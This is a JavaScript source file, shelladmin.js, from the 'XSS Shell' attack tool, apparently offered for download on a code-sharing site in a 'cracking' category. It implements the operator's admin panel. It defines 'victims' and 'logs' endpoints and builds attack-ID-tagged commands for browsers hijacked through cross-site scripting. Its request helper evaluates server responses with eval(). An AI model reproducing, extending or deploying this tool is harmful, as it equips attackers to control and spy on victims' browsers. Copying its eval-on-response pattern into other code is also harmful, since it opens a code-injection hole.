shelladmin.js
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:3k
源码类别:

破解

开发平台:

ASP/ASPX

  1. /*
  2. XSS Shell Admin related JS Functions
  3. 10/08/2006
  4. - Started
  5. */
  6. var CALLBACK_PARAM = "<<RESPONSE>>";
  7. var SAVE_URL = "save.asp";
  8. var LOGS_URL = "default.asp?c=1";
  9. var VICTIMS_URL = "default.asp?c=2";
  10. var d = document;
  11. // Internal
  12. var DEBUG_DIV = "debugshell";
  13. /* 
  14.  External Source Code from : http://www.jibbering.com/2002/4/httprequest.html
  15. */
  16. var xmlhttp=false;
  17. /*@cc_on @*/
  18. /*@if (@_jscript_version >= 5)
  19. // JScript gives us Conditional compilation, we can cope with old IE versions.
  20. // and security blocked creation of the objects.
  21.  try {
  22.   xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  23.  } catch (e) {
  24.   try {
  25.    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  26.   } catch (E) {
  27.    xmlhttp = false;
  28.   }
  29.  }
  30. @end @*/
  31. if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
  32. try {
  33. xmlhttp = new XMLHttpRequest();
  34. } catch (e) {
  35. xmlhttp=false;
  36. }
  37. }
  38. if (!xmlhttp && window.createRequest) {
  39. try {
  40. xmlhttp = window.createRequest();
  41. } catch (e) {
  42. xmlhttp=false;
  43. }
  44. }
  45. /*
  46. Generatre Random ID for AttackID (fix it with more random and unique stuff)
  47. */
  48. function generateID(){
  49. return Math.floor(Math.random()*999999999);
  50. }
  51. // Command Structure
  52. function command(cmd, param, attackID) { 
  53. this.cmd = cmd;
  54. this.param = param.split(","); // Convert to array
  55. this.attackID = attackID;
  56. }
  57. /*
  58. DESCRIPTION;
  59. Parse raw command request array and returns as new command
  60. @rawCmd : Not exactly it's an array
  61. @baseId : Array start point
  62. RETURN;
  63. - New Command
  64. */
  65. function parseCommand(rawCmd, baseId){
  66. return new command(rawCmd[baseId], rawCmd[baseId+1], rawCmd[baseId+2]);
  67. }
  68. /*
  69. DESCRIPTION;
  70. Write debug information to DEBUG_DIV
  71. @msg : Debug Message
  72. REMARKS;
  73. - Only for debug...
  74. */
  75. function debug(msg){
  76. return;
  77. generateDebugConsole();
  78. d.getElementById(DEBUG_DIV).innerHTML += "- " + msg + "<br>" ;
  79. }
  80. /*
  81. DESCRIPTION;
  82. Check for debug console generate if it's not already around
  83. REMARKS;
  84. - Only for debug...
  85. */
  86. function generateDebugConsole(){
  87. if(d.getElementById(DEBUG_DIV) == null) {
  88. var debugConsole;
  89. debugConsole = d.createElement("div");
  90. debugConsole.innerHTML = "<strong>Debug Console!</strong><hr>";
  91. debugConsole.id = DEBUG_DIV;
  92. d.body.appendChild(debugConsole);
  93. //debugConsole.className = DEBUG_DIV; // Damn its not working in IE I dont know why! so I did it by my dirty JS hands
  94. var dc = debugConsole.style;
  95. dc.color = "#0F0";
  96. dc.backgroundColor="#000";
  97. dc.padding="3px";
  98. dc.width = "400px";
  99. dc.border="1px solid #F00";
  100. dc.fontSize="11px";
  101. dc.fontFamily="Lucida Sans";
  102. new Draggable(debugConsole);
  103. }
  104. }
  105. /*
  106. DESCRIPTION;
  107. Core communication function
  108. @url : Request URL
  109. @evalCallBack : Dirty Callback implementation, Function as String
  110. REMARK;
  111. - Use CALLBACK_PARAM Const for response parameter like "trigger("+CALLBACK_PARAM+")"
  112. */
  113. function getRequest(url, evalCallBack){
  114. // This will possibly blown up in a JS optimizer! So fix it or disable variable name optimization
  115. // Yeah eval() == evil();
  116. xmlhttp.open("GET", url, true);
  117. xmlhttp.onreadystatechange=function() {
  118. if (xmlhttp.readyState==4) {
  119. // Response
  120. if (evalCallBack != "" && evalCallBack != null){
  121. evalCallBack = evalCallBack.replace(CALLBACK_PARAM, "xmlhttp.responseText"); 
  122. eval(evalCallBack);
  123. }
  124. }
  125. }
  126. xmlhttp.send(null)
  127. }